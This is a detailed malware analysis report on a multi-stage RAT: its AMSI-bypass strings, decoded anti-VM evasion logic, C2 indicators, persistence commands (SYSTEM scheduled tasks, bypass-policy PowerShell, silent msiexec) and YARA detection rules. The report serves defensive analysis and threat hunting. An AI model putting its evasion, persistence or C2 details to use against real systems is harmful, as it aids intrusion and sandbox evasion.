> grep -ac "$s" payload_stage2.bin load_db_stage3.bin; done
amsi.dll stage2=0 stage3=0
AmsiScanBuffer stage2=0 stage3=0
BypassExceptionHandler stage2=0 stage3=0
amsi.dll appearing beside ntdll.dll is the
conventional shape of an in-process AMSI patch: resolve the module,
locate the scan entry point, and overwrite its prologue so scanning
returns clean. fakeLib not equal 8 symbols is a diagnostic
from module-name spoofing logic — an eight-character name check,
consistent with amsi.dll itself.
15a. Two absences, one of which is evidence and one of which
is not. The patch primitives an in-process AMSI hook needs —
LoadLibrary, GetProcAddress,
VirtualProtect, WriteProcessMemory,
NtProtectVirtualMemory, AmsiScanBuffer — are
absent from the decoded strings of both stages
(zero hits either side). That absence is a
non-discriminator and must not be cited as evidence
about stage 3: stage 2 demonstrably does tamper and is equally missing
all six. All it establishes is hash-based API resolution, which is
normal for this loader family. It is the same defect as the
leading-digit test in §11f — a check that returns the same answer
regardless of the truth of what it is testing.
The API-hash table is a different matter, and it
does discriminate, because it is demonstrably not blind to this
class of API. Stage 3 resolves 449 APIs by hash,
including LoadLibraryW (refs=5),
GetProcAddress (refs=2) and GetModuleHandleW
(refs=2) — and, separately, CreateThread,
GlobalAlloc and FreeLibrary. Against that
background:
| Primitive | Stage-3 hash table |
|---|---|
VirtualQuery (read-only) |
present, refs=2 |
VirtualProtect |
absent |
WriteProcessMemory |
absent |
NtProtectVirtualMemory |
absent |
AmsiScanBuffer |
absent |
A table that resolves the loader trio and thread/heap APIs but no memory-write or page-protection primitive at all is a meaningful negative rather than a gap in coverage. Stage 3 has the means to locate code and none of the means to modify it.
The negative is stronger than a four-name check would show. An
exhaustive sweep of every Virtual*,
Nt*/Zw* and *Memory* symbol in
the table returns exactly six entries — VirtualQuery,
RtlCompareMemory, GlobalMemoryStatusEx,
WTSFreeMemory, NtQuerySystemInformation,
NtUnmapViewOfSection — every one read-only, allocation, or
mapping. Across all 449 resolved APIs there is no
page-protection or memory-write primitive of any kind. And the table
reaches native syscalls, not merely documented Win32:
NtUnmapViewOfSection is itself a process-hollowing
primitive. So the table is not just non-blind to memory APIs in general,
it reaches into the specific offensive-capability class where a patching
primitive would live, and still does not contain one.
Limit — this is a one-sided negative. No equivalent hash table has been extracted for stage 2; the artefact does not exist. What is established is that stage 3 lacks the means to modify code. It does not establish a stage-2-versus-stage-3 contrast, because stage 2’s table has never been measured. The sentence a reader will supply unprompted — “stage 2 has these primitives and stage 3 does not” — is unsupported by anything here. Extracting stage 2’s table would close the gap and is the obvious next step (see Assessment Limitations).
The AMSI tampering is located in stage 2, and is not shown to
carry into stage 3. amsi.dll and
fakeLib not equal 8 symbols appear in
payload_stage2.bin only. What persists into stage 3 is
BypassExceptionHandler (0x01abe5) and the
generic ntdll.dll — an attacker-chosen symbol and a library
every Windows binary touches, neither of which names AMSI. Stated
explicitly because a summary of these strings as “present in both
stages” would imply the bypass is re-applied by the RAT, and the strings
do not support that. Whether stage 3 re-patches AMSI is
undetermined; the evidence places the tampering at
stage 2.
Corroborating this, weakly: stage 3’s ntdll.dll at
0x008e08 sits in a GUI/desktop cluster —
Static (0x00eb58), Progman
(0x00ede6), Shell_TrayWnd
(0x00eeaa), winsta0\default
(0x019894, 0x019d96) — rather than near
anything patch-shaped, pointing at a different use for that string.
Locality in a strings dump is soft evidence and is offered as such, but
it points the same way as the hash-table result above, which is not
soft.
Confidence is Medium, and the limit is specific.
What is established is intent and target: the sample
names AMSI, names ntdll, and carries a bypass-handler
symbol. What is not established is the patch write
itself — the instruction sequence that modifies AMSI’s code was not
traced to a call site, so this is not raised to High. Stated as a
capability indicator rather than a confirmed technique. Tracing the
write is a natural follow-up (see Assessment Limitations).
15b. Anti-VM logic, decoded verbatim — and an allowlist that
disables it. is_vmcheck is 1 (§11f),
so the check runs. The isVm() routine is stored as DSL
source in the same container and under the same XOR scheme as
setupWithGates() (§11c); decoded:
function bool isVm()
{
string $specFolder = pather::systemdrive_with_slash();
$specFolder += "Intel";
bool $exists = io::dir_exists($specFolder);
if ($exists == true) { return false; }
int $ramMB = system::get_ram_mb();
if ($ramMB < 6144) { return true; }
int $cpuCount = system::get_cpu_count();
if ($cpuCount < 2) { return true; }
complex $vm = antihacker::vmdetector_create_instance();
antihacker::vmdetector_scan_light($vm);
bool $light_present = antihacker::vmdetector_result_is_guest_vm($vm);
if ($light_present == true) { ... return true; }
antihacker::vmdetector_scan_aggressive($vm);
bool $aggressive_present =
antihacker::vmdetector_result_is_vm_aggressive_by_opengl_directx($vm);
...
}
The order matters. The first test is an inverted
one: if %SYSTEMDRIVE%\Intel exists the function returns
not a VM immediately, and none of the RAM, CPU-count,
light-scan or GPU-based aggressive checks execute. A directory that any
real Intel driver installation creates therefore disables the entire
anti-VM path. The GPU scan is consistent with the
Microsoft Basic Render Driver (0x046a6c),
Microsoft Hyper-V Video (0x046b92) and
MFG_MICROSOFT_CORPORATION strings recovered from stage
3.
On detection it does not exit. It calls
delayer::delay_in_seconds(@vmdetect_sleep_seconds) and
continues — sandbox timeout evasion rather than a bail-out,
which means a VM-detecting run looks like an inert sample rather than a
crash. The uploader blob (see External Intelligence Corroboration) gives
that interval as 660 seconds for a different build; this
sample’s container record decodes to keystream and the interval is not
recoverable from it (§11f). The evasion behaviour is High confidence;
the duration for this build is unknown.
Note the separate, unrelated -ExecutionPolicy Bypass
strings (0x0fb799, 0x0fd513,
0x11eb64, 0x12f695) — those are PowerShell
invocation flags, a different mechanism, and should not be conflated
with the AMSI path.
Every finding above was derived first-hand from the bytes on disk, before any external source was consulted. That ordering matters for what follows: the corroboration below is a check on a completed analysis, not an input to it. No third-party value was used to guide a search, and none is cited in Findings.
At least three divergent builds of CNCMachineRMS/BabaDeda are in circulation, and the widely published indicators belong to builds that are not the one analysed here. Carrying them across would generate false positives and, worse, false negatives:
| LevelBlue build | Second reported build | This sample | |
|---|---|---|---|
| C2 domain | Notepadreleased[.]com |
notepadreleased[.]com |
triotmelon[.]com |
| C2 IP | 85.158.110.78 |
89.124.79[.]98 |
144.124.242[.]171 |
| State DB | %LOCALAPPDATA%\SProject\sp.bin |
{localappdata}\UTProject\utc.bin |
{localappdata}\RTProject\rtc.bin |
| Campaign tag | novm |
first |
first |
| VM check | disabled | enabled | enabled |
| Config carrier | HelperStandardizationApplication.bin |
Tracks_Interface.bak |
load.db |
| Signed host | WinWrapIDE.exe (IBM SPSS) | SysInspector.exe (ESET) | WinWrapIDE.exe (IBM SPSS) |
Only the signed host WinWrapIDE.exe is byte-identical
across builds — which is expected, since it is an unmodified legitimate
vendor binary.
Two consequences for defenders:
C:\Intel allowlist is present in
this build — verified directly, and it works for the opposite reason to
the one reported. The LevelBlue writeup describes a kill-switch
on a build shipping with its VM check disabled. This build has
the check enabled (is_vmcheck true, §11f),
so that reasoning does not carry across. The behaviour nonetheless holds
here, because isVm() opens with an inverted test (§15b): a
directory named Intel on the system drive causes an
immediate not-a-VM return, short-circuiting every subsequent
check. Carried into Recommendations on the strength of this sample’s own
decoded logic, not on the external report.wwide9.dll
in this bundle differs in bytes from the same-named file in the
LevelBlue build. Hunt on hashes and on the behavioural signatures in
Detection Opportunities, not on names.The sample’s uploader published a configuration blob for this build
as a comment alongside the archive. It was not
consulted until after §11 was complete. Compared afterwards, it matches
the configuration recovered here field for field: campaign
first, the RTProject\rtc.bin state path, the
200-second save delay, the 600 / 90 / 60 / 90 gate timings,
is_vmcheck true, and both gate entries —
triotmelon[.]com:443 and
144.124.242[.]171:443. It also carries a 660-second
VM-detect sleep; that field is not part of the
field-for-field match, because the corresponding container record in
this sample decodes to keystream and was never recovered (§11f). It is
the uploader build’s value, corroborating nothing about this one.
This is real corroboration in the strict sense: two independent
derivations of the same values, one from a third party’s claim and one
from this analysis’s decode of the settings blob at
0x181e17–0x181e5b (§11b). It does not add an
indicator — every value was already established from bytes — but it
raises confidence that the decode is correct rather than a coincidence
of a plausible-looking key.
The ClamAV scan (pipeline step 7) returned clean on all artefacts. It was re-run on 2026-08-22 against a current database (engine 1.5.3, daily 28099 built 2026-08-21, 3,628,022 signatures) covering all 21 bundle files and both extracted memory-only stages — zero detections across 23 files. This is a meaningfully negative result rather than a stale one: eighteen days after the malicious components’ 2026-08-04 compilation timestamps, an up-to-date open-source signature set still does not recognise any artefact in the chain, including the 1.58 MB stage-3 RAT that never touches disk. Absence of a detection remains no evidence of benignity, but the failure of a current signature set is itself a finding — it supports the assessment that this family is not broadly covered by commodity signatures and that detection must rest on the behavioural and structural opportunities in the section below.
Provenance of the string values below. Stage 3
stores essentially all of its strings encoded — LCG stack strings (seed
0x5621401945f4d0e8) and per-string single-byte XOR over
UTF-16LE — so almost none of these values appear as literal bytes in
load_db_stage3.bin. Each string row cites the
offset at which it is decoded; the recovered plaintext
for every one is reproduced in stage3_decoded_strings.txt,
which is the artefact to check a value against, not a raw strings dump
of the binary. A grounding-gate run (cover_check.py)
against the stage-3 bytes therefore flags this whole class by
construction; that is the expected result for this sample, not an
unresolved finding. Hashes, filenames of earlier stages, and third-party
detection names are values about files rather than in stage 3
and are likewise absent by nature.
| Value | Type | Notes |
|---|---|---|
d7bcae4a915261ace7a845f8c1bb2a54ce918921805204125705bfae29656851 |
SHA-256 | PkSql1.dll, stage-1 loader |
32797a560b9a290e715cb5591e71dd9537d782862324906e1bb4652dd2366c9a |
SHA-256 | HTS25.dll, exec helper |
d4df2adf41455644e8df22db1f410a46d2d069cdcc6373aac0742d65c34c2186 |
SHA-256 | usbraw.dll, TCP listener + mic |
6b1dfa9381c54782da709478c2f343b2988f089da449f0bd79fd732265f4e6d7 |
SHA-256 | Graphic.Model.dat, stage-2 carrier |
9a7ec20cfe939a0739819262c1e3ff0265c851136cc263597936773376a5d907 |
SHA-256 | load.db, stage-3 carrier |
840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7 |
SHA-256 | stage-2 shellcode (derived, in-memory only) |
bd9b94186ff9aef3b2fd78ebc38fa169d5a7821bb6a8e57b25bbdff55476c152 |
SHA-256 | stage-3 RAT (derived, in-memory only) |
The two derived hashes never exist as files on a victim system; they are provided for memory scanning and for correlation with other samples.
Provenance note (grounding). Every value in the
remaining IOC tables below is absent from the sample bytes as a
literal — deliberately so, and this was confirmed by an ASCII
and UTF-16LE sweep across all 22 bundle files plus both derived
payloads. File hashes are properties of the files rather than
content in them; every other value is either XOR-decoded from a
load.db record or LCG stack-constructed in stage 3. Each
row below therefore carries its origin. The single exception is
LCDT, which is a literal in Graphic.Model.dat
at offset 0. A reader verifying this report should expect a plain
strings pass to find none of these, and should reproduce
them via decode_all.py and the container decode in §4
instead.
| Value | Type | Origin (not a literal in any file) | Notes |
|---|---|---|---|
SPSS WinWrap Basic IDE 27.4 |
Run-key value name / task name | load.db tid=16054, 16-bit word XOR keys
0xb1b1 and 0x8989 (§4) |
Impersonates the legitimate host application |
Software\Microsoft\Windows\CurrentVersion\Run |
Registry key | stage-3 LCG stack string @ 0x0501e3 |
HKCU persistence |
Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run |
Registry key | stage-3 LCG stack string @ 0x0504f3 |
32-bit view |
registryAutorunValue |
Container resource name | load.db tid=16052, word XOR 0xa7a7 (§4);
referenced by the tid=16001 script (§5) |
Internal identifier |
shedulerAutorunValue |
Container resource name | load.db tid=16052, word XOR 0x7070 (§4);
referenced by the tid=16001 script (§5) |
Internal identifier (attacker’s spelling) |
_BY_LINK handlers)| Value | Type | Origin (not a literal in any file) | Notes |
|---|---|---|---|
payload.zip |
Filename | stage-3 LCG stack strings @ 0x1224fc,
0x123918 |
Fetched archive |
__dir_exe_zip_stage |
Directory name | stage-3 LCG stack string @ 0x12260f |
EXE staging dir |
__dir_dll_zip_stage |
Directory name | stage-3 LCG stack string @ 0x123a2b |
DLL staging dir |
__extract |
Directory name | stage-3 LCG stack strings @ 0x122c00,
0x124048 |
Extraction target |
main.exe / main.dll |
Filename | stage-3 LCG stack strings @ 0x123000,
0x124462 |
Executed from the extracted directory |
The double-underscore prefixes are attacker-chosen and unusual on Windows; they are the most durable indicator in this group.
| Value | Type | Origin (not a literal in any file) | Notes |
|---|---|---|---|
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall |
Registry key | stage-3 LCG stack string @ 0x151cff |
Installed-application enumeration |
SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall |
Registry key | stage-3 LCG stack string @ 0x151fdf |
32-bit view — both are read |
SOFTWARE\Microsoft\Windows Defender |
Registry key | stage-3 LCG stack string @ 0x13b4c6 |
Defender-specific configuration read (§8) |
SOFTWARE\Microsoft\Cryptography /
MachineGuid |
Registry key / value | stage-3 LCG stack strings @ 0x13ed54 /
0x13ef60 |
Durable victim identifier |
These are read rather than written, so they generate no persistent host artefact — they are useful for EDR registry-access telemetry and for sandbox behavioural rules, not for forensic triage of a disk image.
| Value | Type | Origin (not a literal in any file) | Notes |
|---|---|---|---|
amsi.dll |
Module name | stage-2 LCG stack string @ 0x018505 |
AMSI patch target (§15) |
BypassExceptionHandler |
Internal symbol | stage-2 @ 0x0221f2, stage-3 @
0x01abe5 |
Bypass handler; unusual name, good content signature |
fakeLib not equal 8 symbols |
Diagnostic string | stage-2 LCG stack string @ 0x01802d |
Module-name spoofing check |
All four are zero-hit as ASCII plaintext in both stage binaries — they exist only as decoder output. Treat their appearance in a memory scan, not a file scan, as the detection surface.
All four are stage-3 LCG stack strings (§7), reassembled from adjacent decoded fragments rather than existing as single literals.
| Value | Type | Origin | Notes |
|---|---|---|---|
schtasks.exe |
Image name | decoded @ 0x02af4c |
|
/Create /TN, /Query /TN,
/Delete /TN |
schtasks args | decoded @ 0x02b46e, 0x02b2b4,
0x02ba79 |
Create / check / remove |
ONLOGON |
schtasks arg | decoded @ 0x02b605 |
Trigger |
HIGHEST |
schtasks arg | decoded @ 0x02b77b |
With /RU SYSTEM |
/qn /norestart |
msiexec args | decoded @ 0x11bf2e (also 0x0fad89,
0x121b08) |
Silent MSI payload install |
msiexec |
Image name | decoded @ 0x0fa94d |
|
-NoProfile /
-ExecutionPolicy Bypass -File |
powershell args | decoded @ 0x0fb799 |
Script payload execution |
-NoLogo -NoProfile -NoExit -Command "$OutputEncoding=[Console]::OutputEncoding=[Console]::InputEncoding=[System.Text.UTF8Encoding]::UTF8" |
powershell args | decoded @ 0x10073d |
Interactive shell channel |
All are stage-3 LCG stack strings (§7); none appears as a literal.
| Value | Type | Origin | to_ids |
Notes |
|---|---|---|---|---|
cloudflare-dns.com |
Domain | decoded @ 0x067e39 |
false | Legitimate public DoH resolver, abused |
dns.google |
Domain | decoded @ 0x067f3e |
false | Legitimate public DoH resolver, abused (default) |
dns.quad9.net |
Domain | decoded @ 0x067ff3 |
false | Legitimate public DoH resolver, abused |
/dns-query |
URI path | decoded @ 0x0681df |
false | Standard DoH endpoint |
application/dns-message |
Content-Type | §12, from the request-construction code | false | Standard DoH media type |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36... |
User-Agent | decoded @ 0x067a15 |
false | Chrome-like UA on a non-browser process |
Note dns.quad9.net decodes as
dns.quad9<?>net and the UA as
AppleWebKit/537<?>36 — a known cosmetic artifact
where a non-b8 instruction encoding interrupts an immediate
run. The . separators are certain from context and from the
two sibling providers, which decode cleanly.
These five values are deliberately marked
to_ids=false. They are genuine third-party
services that the malware calls, not attacker infrastructure. Alerting
on them directly would generate false positives against any legitimate
DoH use. They are retained because dropping them would lose the
behavioural signal — the correct detection is the combination
described in §12 and in Detection Opportunities, not any one value.
| Value | Type | Origin | to_ids |
Notes |
|---|---|---|---|---|
triotmelon.com |
Domain | settings blob 0x181e17, XOR 0x91 |
true | C2 gate 1 |
144.124.242.171 |
IPv4 | settings blob 0x181e3d, XOR 0xf0 |
true | C2 gate 2 — DNS-independent |
443 |
Port | 0x181e33 / 0x181e5b |
true | Both gates; likely not TLS (§11g) |
first |
Campaign tag | settings blob | false | Campaign identifier, context only |
{localappdata}\RTProject\rtc.bin |
File path | lsdb_save_path |
true | Local state file |
Blocking DoH does not sever C2 — the second gate is a bare IP. Block both endpoints directly.
| Value | Type | Notes |
|---|---|---|
0x43d75dfd |
Container validation key | load.db header/field algebra |
0x5621401945f4d0e8 |
LCG seed | Stage-3 stack-string keystream |
0x19660D / 0x3C6EF35F |
LCG multiplier / increment | Stage-3 stack strings |
0x92 |
XOR key | load.db record tid=16001 (script) |
0x811C9DC5 |
FNV-1a offset basis | Stage-3 API hashing |
0x3ab30 / 0x53343 |
Offset / length | Payload location in Graphic.Model.dat |
LCDT |
File magic | Carrier file header (legitimate Microsoft). The only literal
in this report’s IOC section — present at
Graphic.Model.dat offset 0 |
All constants above are immediate operands in instruction encodings, recovered by reading disassembly — they are not byte-searchable as written.
Whether an external settings file can override
gate_list: resolved negative, High confidence. The
setupWithGates() parser (§11c) sources its gates from
runtime::resource_get_string_dictionary(@gate_list) — the
embedded resource dictionary — and performs no file, registry, or
network read anywhere in the gate path. Combined with the exhaustive
three-encoding sweep in §11e showing the token gate_list
occurs nowhere in the settings-file loader, the two gates are the
complete set rather than a lower bound. The prior
Medium-High rating and its residual positional-access caveat are
withdrawn: the parser reads by key from a resource, so a positional
route into an external file has no path to the gate list. Closed in
the pass that resolved §11f.
The settings.xml search path and XML schema
were not determined. The loader fcn.000cde9c was
located and its failure paths mapped, but no path-construction sequence
and no element or attribute names were recovered.
Numeric and boolean configuration values: resolved, with
one exception. All gate_*_seconds,
is_vmcheck, and the booleans are decoded in §11f — the
values sit in a separate 16054 record from the
16052 name record, which is why earlier passes read them as
absent. The sole residue is vmdetect_sleep_seconds, whose
container field decodes to keystream (§11f). This is now a
bounded negative, not an open item: the field is the
last record of the container, its name and type records decode cleanly
while only its value does not, and all five other well-formed integer
settings are small round numbers. Two independent dumps by two analysts
have failed on it for that same structural reason. Recovering it
requires a corrected keystream termination at the container boundary,
not another dump. Nothing in this report depends on the value.
The script-to-native dispatch for
communicator::add_gate was not resolved (§12). The
endpoints are read directly from the blob and the script states their
purpose, so they are High confidence; the exact native call path is
Medium.
Whether port-443 traffic is TLS was not confirmed. Medium confidence it is not.
CLOSED — the task-step dispatcher is fully
enumerated. All 21 branches of FUN_00119af8 map to
a named capability (§8b), verified independently by two analysts with no
residue, and the three absent id slots are enumerated rather than
unexamined. What remains open is a different, larger
question, and it is now better posed than it was: the
presumption that a top-level C2 command router sits above
0x119af8 and feeds it ids is contradicted for every
call path examined (see 6a).
6a. The C2 path does not reach the step dispatcher, and the
id space is compared in exactly one place. Walking direct call
edges to depth 8 from all six known C2 functions — gate iteration
0xd50e0, connect 0x6c1b8,
handshake 0x6cb74, host/port set 0xd553c,
session setup 0xd36ec, and three levels above it — reaches
0x119af8 from none of them. The walk
visited 280 and 47 functions from the two principal seeds and found
zero indirect calls in either neighborhood, which is
what makes this a bounded negative rather than an artefact of following
direct edges only: there is no function-pointer hop for the path to have
escaped through. Independently, the dispatched id space occurs as a
code immediate at exactly one address in the binary —
0x119b7b, inside the dispatcher itself; every other match
is data.
0x119af8 is moreover a registered
callback, not a directly-called routine: the thunk at
0x11856c is taken by address
(lea r9, [0x11856c]) and handed to
fcn.00073840, a generic invoker ending in
call qword [rsp+0x40]. The id it dispatches on comes from
fcn.00098058, a keyed property getter with ten unrelated
callers — not from a socket.
The reading this supports is that 0x119af8 executes
script steps, and the steps come from the DSL already
recovered in §5
(task block_execution { … previewer::load_re_firmcode($exe_bytes); })
rather than from the wire.
[RESOLVED 2026-08-22 — see §8c and Corrections 61.]
The message handling after 0x6cb74 has now been read, and
the two possibilities previously left open are decided. The C2 path
does reach the step dispatcher — not by calling it, but by
starting it as a thread. fcn.000d36ec,
already on the seed list above, calls fcn.0011833c at
0xd387a, which calls the registrar
fcn.00132644, which passes the dispatcher thunk
0x11856c by address to the invoker. The direct-edge
negative above is therefore correct and complete as stated —
there is no call edge — but it does not mean the two subsystems are
unjoined. No separate command router exists; the operator’s command
surface is pushed script executed by this same interpreter, which was
the first of the two readings. The step count remains a lower bound only
in the sense that the DSL is open-ended, not because unexamined router
code is suspected.
Credential-extraction paths were not traced to completion. §8a rests on browser names, ProgIDs and target directories, not on reading the extraction code. Rated Medium-High for that reason.
The FNV-1a hash-to-API mapping is partial. Module-level resolution is recovered (23 modules); per-export resolution is incomplete, so some resolved API calls remain unnamed.
Ghidra output is inferred, not ground truth.
Where this report cites decompiled C, the corresponding claim was
verified against radare2 disassembly. Function boundaries disagreed
between the two engines in the 0xcdc4c–0xce70c
region, and radare2 was used there.
Initial infection vector is unknown. How this bundle reaches a victim — installer, archive, supply-chain substitution into a real IDE installation — is not determinable from the files themselves.
Graphic.Model.dat head and tail were
identified but not fully parsed. They are a genuine
LCDT locale table by magic, copyright string and entropy;
the internal table structure was not walked to confirm every record is
legitimate.
ClamAV coverage is one vendor’s, not the industry’s. The original scan ran against a database more than seven days stale; it was re-run on 2026-08-22 against a current one (daily 28099, 3,628,022 signatures) over all 21 bundle files and both extracted stages, returning zero detections. That closes the staleness caveat, but the residual limit is scope: ClamAV is a single open-source engine, so a clean result bounds its coverage and says nothing about commercial products. No multi-engine scan was performed, and the sample was not submitted to any third-party service — deliberately, to avoid disclosing the artefact set.
Stage 2’s API-hash table was never extracted. §15a’s memory-primitive negative is therefore one-sided: it establishes that stage 3 lacks page-protection and memory-write primitives, not that stage 2 has them. Any stage-2-versus-stage-3 capability contrast is unmeasured. Extracting stage 2’s table is the single highest-value follow-up in this report, since it would either close the AMSI question in §15 or show the two stages are less differentiated than the strings suggest.
Treat any host running this bundle as fully compromised with SYSTEM-level persistence and an interactive operator channel. Credentials used on the host should be considered exposed.
For analysis, not defence: creating
%SYSTEMDRIVE%\Intel on a sandbox VM disables this build’s
entire anti-VM path (§15b), allowing detonation without waiting out the
sleep — whose duration is unknown for this build (§11f), which is itself
a reason to prefer the allowlist directory over guessing a timeout. This
is an analyst aid; it is not a containment measure, and it must not be
deployed to production hosts as a “vaccine” — nothing else in the sample
keys on that directory, so it prevents no compromise.
Terminate the process before removing persistence. Deleting the Run key or scheduled task alone is ineffective: it is restored within 875 seconds and again at shutdown (§6).
Check all four persistence stores, not the two this build
configures. Remove the entries named
SPSS WinWrap Basic IDE 27.4 from the HKCU Run key and the
scheduled task — the two load.db re-applies on a timer —
and then check the two further stores the payload can be told
to use (§6b), since the choice is made per task by the operator and
cannot be excluded from the binary:
HKLM\...\CurrentVersion\Run — the machine-wide variant
(AUTORUN_HK).lnk pointing at the payload
(AUTORUN_STARTUP_LNK)Verify the scheduled task’s /RU SYSTEM context and check
for additional tasks. Treat any of the four bearing the
vendor-impersonating name as attacker-created regardless of how
plausible the target path looks.
Isolate the host from the network. Note that the
usbraw.dll listener (§13) requires inbound
reachability, so egress filtering alone does not close that
channel.
triotmelon.com and 144.124.242.171, port 443.
Blocking DoH alone is insufficient: the second gate is a bare IP and
needs no name resolution.%LOCALAPPDATA%\RTProject\rtc.bin — the RAT’s
local state file. Its presence confirms execution; its absence does not
rule it out.schtasks /RU SYSTEM task creation to
administrative contexts and alert on it.This sample yields direct network IOCs (§11) as well as strong host-based behavioural signal. Both are given below; the network indicators are the fastest path to detection, the behavioural ones survive infrastructure rotation.
%SYSTEMDRIVE%\Intel as an anti-anti-VM
allowlist (§15b). An inverted first test that returns not a
VM when the directory exists is unusual, and it is durable across
config changes because it is in the program logic rather than the
settings container. Two uses: as a hunting signature, and as a note to
analysts that a VM carrying that directory is not evaded at
all by this build.
A VM-detecting run sleeps rather than exits
(§15b), for vmdetect_sleep_seconds — a value not
recovered for this build (§11f). The figure of 660 seconds
comes from a different build’s configuration and should not be
used as a threshold here. The detection is the behaviour, not the
interval: automated sandboxes should treat a long initial dormancy in
this bundle as a positive signal rather than as an inert sample, and
should not tune a timeout to 660.
Defender-specific registry read plus
MachineGuid. A process reading
SOFTWARE\Microsoft\Windows Defender and
SOFTWARE\Microsoft\Cryptography\MachineGuid in the same
survey, alongside both Uninstall views, is a recognisable
reconnaissance burst. Higher-signal than any of those reads alone, since
each is individually benign.
Zipped-payload staging sequence.
payload.zip written into a directory named
__dir_exe_zip_stage or __dir_dll_zip_stage,
followed by an __extract subdirectory and execution of
main.exe/main.dll from within it. These names
are attacker-chosen and specific; they survive C2 rotation and catch the
four _BY_LINK handlers that write-then-execute rules miss
(§9).
All four autorun stores, not two. Hunt the vendor-impersonating name across HKCU Run, HKLM Run, scheduled tasks, and the Startup folders (§6b). A sweep scoped to the two mechanisms this build re-applies on a timer will miss the two an operator can select per task.
Deletion of the autorun entry by a non-administrative
process that then keeps running. The
Autorun uninstall command (§9a) removes persistence without
terminating the implant. A Run-value or scheduled-task deletion
performed by the same vendor-impersonating process that created it —
rather than by an administrator, an installer, or a security tool — is a
strong teardown signal. Alert on self-deletion of an autorun entry, not
only on its creation: most persistence monitoring watches writes and
ignores removals.
A known-infected host that goes quiet with no
artefacts. Given two independent uninstall commands, an
infection confirmed by network telemetry that leaves no autorun entry,
no rtc.bin and no running process should be triaged as
possible operator teardown rather than as a failed or blocked
install. The distinction matters for scoping: teardown implies the
operator had working C2 and chose to withdraw, which raises the
likelihood that collection already succeeded on that host.
triotmelon.com or
144.124.242.171 on port 443. Block and alert on both. The
IP gate requires no DNS, so name-based controls alone miss it.%LOCALAPPDATA%\RTProject\rtc.bin.WinWrapIDE.exe (or
any signed IDE) as the parent of schtasks.exe,
powershell.exe, cmd.exe,
msiexec.exe, rundll32.exe,
regsvr32.exe, or cscript.exe.
The legitimate application has no reason to spawn any of these.
Enumerate all seven: the dispatcher (§9) carries fifteen payload
handlers reaching six distinct LOLBins, and a rule listing only the
obvious two or three misses most of the execution surface. Note
cscript.exe appears once in the dispatcher and is the
easiest to leave out.SPSS WinWrap Basic IDE 27.4 whose
target path is not the vendor’s installed location, or which coexists
with no legitimate IDE installation.EnumSystemCodePagesW with a heap or
VirtualAlloc pointer as its callback (§3). This
API has essentially no legitimate use with a non-module callback
address, making it a high-quality single-event detection.winhttp.dll-based POST to
/dns-query with
Content-Type: application/dns-message, from a process that
is not a browser. The combination — WinHTTP rather than WinINet, a
Chrome User-Agent, and a non-browser image — is the signal; no single
element is.BCryptGenRandom
flooding of the surrounding region (§3), an unusual
pairing.WINMM audio capture.UrlAssociations\http\UserChoice reads by a non-browser
process (§8a).YARA on the stage-1 rolling-XOR decryptor constants
(0x53343 length with the -0x53 /
+0x07 / *0x05 + 0x5c keystream arithmetic),
and on the stage-3 LCG constants (0x5621401945f4d0e8,
0x19660D, 0x3C6EF35F).
Container structure: a file whose bytes satisfy
q[2] - ((0x43d75dfd - q[0]*q[1]) + q[5]) == 1 at offset 0.
This is a format-level signature independent of payload content, and
survives payload changes.
A file bearing the LCDT magic and Microsoft
copyright whose interior contains a high-entropy region inconsistent
with locale data (§3a).
Unsigned DLLs with graphics- or multimedia-themed export names sitting alongside a signed application, where the signed application’s imports resolve into them (§14).
Configuration field names as content signatures.
The settings container (§11f) uses several field names distinctive
enough to be searched for directly in memory:
is_tosend_firstlaunch_screenshot,
enable_acs_onstart,
gate_keep_alive_duration_seconds,
gate_failed_reconnect_delay_seconds, and the attacker’s
misspelled shedulerAutorunValue. These survive C2 rotation
— a new build with new infrastructure keeps the same configuration
schema — which makes them more durable than the endpoint IOCs, and they
are what to hunt with across the divergent builds noted in External
Intelligence Corroboration.
AMSI bypass strings in memory (§15):
amsi.dll, BypassExceptionHandler and
fakeLib not equal 8 symbols. Because these are LCG-decoded
at runtime and appear nowhere as plaintext on disk, a
file-based scan cannot see them — this is a memory-scan signature
specifically. BypassExceptionHandler is the highest-value
of the three, being an attacker-chosen symbol rather than a Windows
name.
The rules below express the highest-value items from Tiers 1–4 in deployable form. They target content that survives infrastructure rotation — container key, decoder constants, configuration schema, module layout — rather than the endpoints, which will age out.
Validation performed. All five rules compile under
yara -w (0 errors, 0 warnings) and were run against the
21-file bundle and the two carved payload blobs; re-run and reproduced
identically on 2026-08-22 under YARA 4.5.5, with the raw output kept at
yara_validation.txt. Result:
| Rule | Matches | False positives in bundle |
|---|---|---|
CNCRMS_Sideload_Layout |
HTS25.dll, PkSql1.dll |
0 of 19 |
CNCRMS_Stage2_Container_Key |
payload_stage2.bin |
0 |
CNCRMS_LCG_StackStrings |
load_db_stage3.bin,
payload_stage2.bin |
0 |
CNCRMS_LoadDB_Container_Format |
load.db, load_db_stage3.bin |
0 of 19 |
CNCRMS_Config_Schema_Memory |
(none — file scan) | 0 |
The fifth rule matching nothing is its designed behaviour, not a
failure: its scan_target meta field reads process
memory, NOT files, because the settings field names it looks for
are decoded only at runtime and never exist as bytes on disk. A rule of
that kind must be validated by reading its intent, since a file corpus
can neither confirm nor refute it — the earlier count of “four rules”
silently omitted it for exactly this reason.
Exactly 3 of the 21 bundled files match any rule,
and all three are the files independently established as malicious (§1,
§14) — the eighteen non-matching files include every legitimate
redistributable and the signed host application. usbraw.dll
is a true negative worth noting: it is malicious (§13) but shares none
of these constants, so the rule set does not cover
it.
Two caveats this validation does not remove. The corpus is one
bundle, not a production baseline, so the zero-false-positive figure
bounds nothing about scale — CNCRMS_LoadDB_Container_Format
in particular is a weak structural shape (see its note) and
is expected to be the noisiest at volume. And a negative result on a
rule is not evidence of absence, only of these constants’ absence.
rule CNCRMS_Stage2_Container_Key
{
meta:
description = "Stage-2 shellcode: load.db container validation key"
reference = "Technical Analysis sections 3, 4"
note = "K is compiled into the stage-2 DECODER, not stored in load.db itself - verified: 1 hit in payload_stage2.bin, 0 in the container. Memory or carved-blob scanning."
confidence = "high"
strings:
$k = { fd 5d d7 43 } // K = 0x43d75dfd, little-endian
condition:
$k
}
rule CNCRMS_LoadDB_Container_Format
{
meta:
description = "load.db container - structural, payload-independent"
reference = "Technical Analysis section 4"
